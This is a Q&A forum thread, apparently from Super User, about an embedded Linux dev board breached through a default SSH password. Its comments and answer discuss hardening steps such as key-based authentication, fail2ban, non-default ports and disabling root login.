    Great edits to the answer. Now, if you'd edit it once more to add some security measures, that'd be great for future readers. This is what I did: 1. Reinstall the system 2. changed root password to a 16 character long password with mixed lower- and uppercase letters and characters and digits. 3. Changed the username to a 6 mixed character long username and applied the same password as used for root 3. changed SSH port to something above 5000 4. turned off SSH root login. Additionally I could also install Fail2Ban. Add these steps your answer and I'll accept it. It will be useful to others. – vaid Feb 03 '16 at 08:17
  • 2
    @MariusMatutiae You may be interested to know that over at security SE there was a decent debate a while back about whether changing the ssh port from the default is a good measure or something that causes more headaches that it's worth. See http://security.stackexchange.com/questions/32308/should-i-change-the-default-ssh-port-on-linux-servers?s=2|1.7584 FWIW, I come down on the same side that you do. It can obviously be defeated by an attacker making a full port scan. But at least the ubiquitous scan/attack bots, which almost always stick to scanning common/default ports, will fail. – mostlyinformed Feb 03 '16 at 11:03
  • 2
    @halfinformed I agree with you. It is clear that whoever is doggedly serious about harming someone won't be deterred by such measures, but it will at least keep botnet administrators away. Thanks for point out the reference, the downsides to changing ssh port all refer to people dealing with lots of clients, services, large organizations. None of that influences the discussion for individual users. – MariusMatutiae Feb 03 '16 at 11:09
  • "you managed to record the whole, live session of an intruder on your pc" - which indicates that the intruder him/herself is not an expert. – Thorbjørn Ravn Andersen Feb 03 '16 at 21:13
  • 1
    Important note: OpenSSH DISABLED DSA in release 7 (by default; you can still re-enable it in the config, but obviously you only should do so until you rekey). The recommended options are RSA and ed25519. – Jan Hudec Feb 05 '16 at 10:02
  • I believe openssh does not use that implementation though. Anyway, @MariusMatutiae, would you update the commands in this answer to recommend ed25519 instead then? – Jan Hudec Feb 05 '16 at 10:16
  • 1
    Lots of good advice here. I cannot download the malware, so was not able to check this, but given the mention of OP developing an embedded system, and the hostname containing "armhf", I would not be surprised if the malware was an x86 binary which did not work on the ARM device. – Wodin Feb 06 '16 at 06:43
  • @Wodin Yes, quite right: that's exactly what I implied, without explicitly saying it, when I mentioned that, if the attacker was really doing a compilation, it meant that he had understood the source of his problems and the computer was gone for good. – MariusMatutiae Feb 06 '16 at 06:47
  • 1
    Definitely right about the problem with downloading the file and having to make it, it was probably built for x86 or possibly x64 but the build in the logs shows it is an ARM build so presumably for a raspberry pi or similar. – James Snell Feb 07 '16 at 14:15
  • 1
    @vaid Hey, if the attacker downloaded source code for their trojan onto your machine, what are the odds that you can recover that code (from the commands they typed)? Would be really neat to get actual, functional source code for an in-the-wild trojan for analysis and defense purposes. (Could also just be fun to study the code style of a prototypical Chinese trojan developer!) – nneonneo Feb 07 '16 at 19:32
  • 1
    @nneonneo Agreed, but you will have to ask vaid, not me: he does not give any more details than those you read above, like me. – MariusMatutiae Feb 07 '16 at 19:34
  • I uploaded a zip file containing the binary, however I don't recall seeing any source code anywhere. And unfortunately I wiped the system without backing anything up so I can't go back and check if there's any source code available. Here's a fun project for anyone interested: setup a raspberry pi with ssh and a standard root password such as "debian", go to your router setting and forward port 22 and occasionally check the logs for suspicious activity and try to catch the hacker. As I've understood it, the hackers are constantly active scanning for targets. – vaid Feb 07 '16 at 20:44
  • My system used to have a username and password as "debian", that's the way they breached the system. My system is basically a small dev board. An Olimex A10 Lime 4GB to be exact. Also, why do you guys think that the attacker downloaded the actual source code? Is there anything in the logs that indicate that the attacker did so? – vaid Feb 07 '16 at 20:47
  • 1
    Might it be the line that says ./yd_cd/make? That file was not downloaded because yd_cd is my own software which I am developing. It's just a coincidence that I named it similarly to their naming convention with "Y" at the start. However it does indicate that the attacker was working on my device as I was actually developing my software. Kind of scary to be honest. – vaid Feb 07 '16 at 20:54
  • Ah, I see. Too bad, I guess you don't have source for his trojan. (Maybe you should have made clear which log items were from him) – nneonneo Feb 07 '16 at 22:27
  • @nneonneo The logs in the OP are vaid's, those in my post are mine. – MariusMatutiae Feb 08 '16 at 07:50
  • @MariusMatutiae can you comment on the effectiveness of using DenyHosts (auto-populates /etc/hosts.deny) as a brute-force preventer? Does this make use of an SSH password (rather than key) safer? – davidA Feb 09 '16 at 03:45
  • @meowsqueak Using DenyHosts instead of crypto keys is a bit like: I can leave this weakness since I am covering for it with this other, distinct feature. I do not subscribe to this point of view, because it never occurs that the two features cover exactly the same ground. For instance, I am often away from home, and I wish to connect to my work/home pcs, but I do not know a priori the IPs I will be connecting from: DenyHosts then does not help me, but crypto keys do. Also, if an intruder gains access to my LAN, keys still help while DenyHosts does not. – MariusMatutiae Feb 09 '16 at 04:23
  • @MariusMatutiae ok, I was thinking more from preventing a brute-force attack, in that a hosts.deny entry is created if a wrong password is entered more than 3 times from a single IP address. It seems to me like it might help in those cases where a password is required (e.g. where security of private key cannot be assured). – davidA Feb 09 '16 at 04:26
  • 2
    @meowsqueak Oh, but then a better, and much more modern solution, is fail2ban, which does this for just about any application, postfix, https, ssh, and so on. This definitely helps, I use it myself. Still, the point remains: so long as you have passwords, you have to find ways to compensate for their intrinsic weakness. Keys have no such weakness. – MariusMatutiae Feb 09 '16 at 04:32
139

Welcome to the Internet - where any open SSH server is likely going to get probed, brute-forced, and have various indignities inflicted upon it.

To start, you need to completely wipe the storage on the product. Image it if you want to pass it on for forensics, but the Linux install on it is now suspect.

Bit of guesswork but

  1. You got brute-forced or use a common password. It's security by obscurity but you don't want a dictionary password or to use a root account open to SSH. Disable root SSH access if it's an option or at least change the name so they need to guess both. SSHing as root is terrible security practice anyhow. If you must use root, log in as another user and use su or sudo to switch.

  2. Depending on the product, you might want to lock down SSH access in some way. A total lock-down sounds like a good idea, and allows users to open it up as needed. Depending on what resources you can spare, consider only allowing IP addresses in your own subnet, or some kind of login throttling system. If you don't need it on the final product make sure it's turned off.

  3. Use a non standard port. Security by obscurity again, but it means an attacker needs to target your port.

  4. Do not ever use a default password. The best approach I've seen is to randomly generate a password for a specific device and ship it with your product. Best practice is key based authentication, but I've no idea how you'd approach that on a mass market product.

JohnB
  • 382
Journeyman Geek
  • 129,178
  • 79
  • Use public key auth if at all possible. Password auth is far, far less secure.
    • – Bob Feb 01 '16 at 13:29
  • 4
    Yeah, but if its a consumer device, it might not be an option. On a dev box, that sounds like a brilliant idea. On a server, well, I did get hacked before ;p – Journeyman Geek Feb 01 '16 at 13:31
  • 2
    If it is consumer device then the same random password or key on all of them is also a bad idea. As is anything based on its serial number, its MAC or otherwise identifiable information. (Something which many SoHO modem/routers/WAPs seem to have missed). – Hennes Feb 01 '16 at 14:53
  • 2
    It is a consumer device. However, the vast majority of the targeted consumer will not be educated enough to know what SSH is. So SSH can be turned off and will most likely be turned off. – vaid Feb 01 '16 at 15:39
  • I would say #1) "Use a public Key". #2 "Use a Password? refer to #1"... #3) "Use something that doesn't allow? Keep away from open internet by any means possible" #4) "Can't keep it away? Keep it away from your internal network by any means possible" – WernerCD Feb 01 '16 at 18:45
  • I would like to point out that what @Bob said is true even if you use a strong password. No matter how strong your password is, it will still be more secure to use public key authentication. That is because public key authentication provide an extra layer of defense against mitm-attacks. And it is harder for an attacker to intercept a password that you don't send to the server. – kasperd Feb 01 '16 at 21:38
  • 2
    Also, use fail2ban. – Shadur-don't-feed-the-AI Feb 02 '16 at 05:29
  • I used to work for a company that produced Linux based firewall boxes. Each one had remote support (SSH) disabled by default, and a unique SSH key and SSL certificate which we recorded during production right after the test stage. So yes, consumer boxes can be secure. – Zan Lynx Feb 02 '16 at 17:06
  • very great read! And yes its nice to be able to read a lot like this. – NetworkKingPin Feb 02 '16 at 17:11
  • An open SSH is not the problem, force brute is not a viable alternative and even dictionary attacks is not viable for most cases. However, here we are talking about a security flaw of the system. – magallanes Feb 02 '16 at 18:40
  • That is incorrect Welcome to a terrifying new world – Journeyman Geek Feb 02 '16 at 22:39
  • 1
    @Bob If a password is suitably complex (say 16 random chars and symbols etc) and therefore not brute-forcable, then what is the security advantage of using a key? (Genuine question - I'm not disagreeing) – NickG Feb 04 '16 at 13:35
  • Also, doesn't SSH use public keys for authenticating the server to the client, even when the client is using a password instead of a key to authenticate to the server? That protects against MiTM, so that leaves only brute force, and I honestly don't see how brute force is feasible here if you're using a secure password. (Though just using a public key is probably a lot easier than choosing and remembering a secure password.) – Ajedi32 Feb 04 '16 at 14:38
  • 1
    Ah, so I looked into a bit more and apparently using public key authentication for the client actually provides some protection against MiTM even if the client fails to check the host key. So there is some additional security benefit to using public key auth for SSH: http://www.gremwell.com/ssh-mitm-public-key-authentication (I guess that answers your question, @NickG.) That particular attack vector didn't seem to be involved in this case anyway though, and it's not actually important as long as you always check the host key. – Ajedi32 Feb 04 '16 at 14:54
  • 1
    @NickG In the event of a compromised server, your password is exposed. That might be fine if you never reuse the password, e.g. have a proper password manager, etc.. A public key never exposes your private key, so you can use the same private key to authenticate to multiple servers without worry (and you can password-protect said private key, with the password only visible locally). End of the day, with enough external assistance (no reuse, password manager) a password can be equal to a public key. (This does not include some vulns that may leak the private key ... very unlikely but possible). – Bob Feb 04 '16 at 15:16
  • 1
    Thing is, pubkey is secure almost by default. Password auth requires a security-conscious individual to pick a strong password and never reuse it. In real life, the vast majority of password auth probably does not meet those requirements. Therefore, recommending pubkey is usually easier. – Bob Feb 04 '16 at 15:16
  • Bob and Alice knows cryptography very well ;) – kiran Feb 04 '16 at 16:37